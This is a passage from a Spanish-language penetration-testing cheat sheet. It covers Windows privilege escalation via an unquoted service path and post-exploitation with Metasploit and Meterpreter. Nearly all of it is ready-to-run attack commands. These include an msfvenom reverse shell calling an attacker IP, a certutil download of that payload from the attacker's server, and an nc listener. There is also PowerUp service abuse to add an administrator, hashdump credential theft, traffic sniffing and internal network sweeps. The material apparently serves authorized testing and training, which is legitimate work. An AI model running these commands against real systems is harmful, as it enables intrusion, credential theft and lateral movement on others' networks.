.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\Common Files\"
```

### Escalamiento de privilegios

```shell
# Generación y transferencia de reverse shell
## Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Copia de reverse shell a ruta del servicio
## Ruta original del servicio: C:\Program Files\Unquoted Path Service\Common Files\service.exe
copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

# Configuración de listener de reverse shell en máquina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
```

## Automatizado

### PowerUp

```powershell
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted
Invoke-ServiceAbuse -Name '<service-name>' -UserName "<ACME.LOCAL>\<user>"
net localgroup administrators
```


# Pillaging

## Nmap

```shell
proxychains nmap -sT -open -n -Pn <CIDR> --top-ports 25
```

## Metasploit

### ARP <a href="#metasploit-arp" id="metasploit-arp"></a>

```shell
# Desde sesión de meterpreter
run arp_scanner -r <CIDR>
```

```shell
use post/windows/gather/arp_scanner
set RHOSTS <CIDR>
set SESSION <id-session>
run
```

### Interfaces de red <a href="#metasploit-ping-sweep" id="metasploit-ping-sweep"></a>

```shell
# Desde sesión de meterpreter
ifconfig
```

### Tabla de enrutamiento

```shell
# Desde sesión de meterpreter
route
```

### Servicios de red

#### Linux/Unix

```shell
netstat -antupo
```

* -a = todos los sockets.
* -n = hosts, puertos y usuarios en formato numérico.
* -t = TCP.
* -u = UDP.
* -p = PID (Process Identification Number) y nombre del programa.
* -o = timer.

#### Windows

```shell
netstat -ano -p <protocolo>
```

* -a = todos los sockets.
* -n = hosts y puertos en formato numérico.
* -o = PID (Process Identification Number).
* -p = TCP, UDP, TCPv6 o UDPv6.

### Ping sweep <a href="#metasploit-ping-sweep" id="metasploit-ping-sweep"></a>

```shell
use post/multi/gather/ping_sweep
set RHOSTS <CIDR>
set SESSION <id-session>
run
```

### Sniffing

```shell
# Desde sesión de meterpreter
use sniffer
sniffer_interfaces
sniffer_start <id-interface>
sniffer_dump <id-interface> /<path>/<name.pcap>
sniffer_stop <id-interface>
```

### Escaneo de puertos

```shell
# Tabla de enrutamiento
# Incorporación manual
route add <subnet> <netmask> <id-session>
# Desde sesión de meterpreter
run autoroute -s <CIDR>

# Metasploit
use auxiliary/scanner/portscan/tcp
set RHOSTS <CIDR>
set THREADS 10
set PORTS <ports>
run
```

### Aplicaciones

```shell
# Windows
use post/windows/gather/enum_applications
set SESSION <id-session>
run
```

### Enumeración automatizada

```shell
# Linux/Unix
use post/linux/gather/enum_system
set SESSION <id-session>
run

# Windowsh
# Desde sesión de meterpreter
run winenum
```

### Hashdump

```shell
# Linux/Unix
use post/linux/gather/hashdump
set SESSION <id-session>
run

# Windows
# Desde sesión de meterpreter
hashdump
```


# Persistencia




---

[Next Page](/llms-full.txt/1)

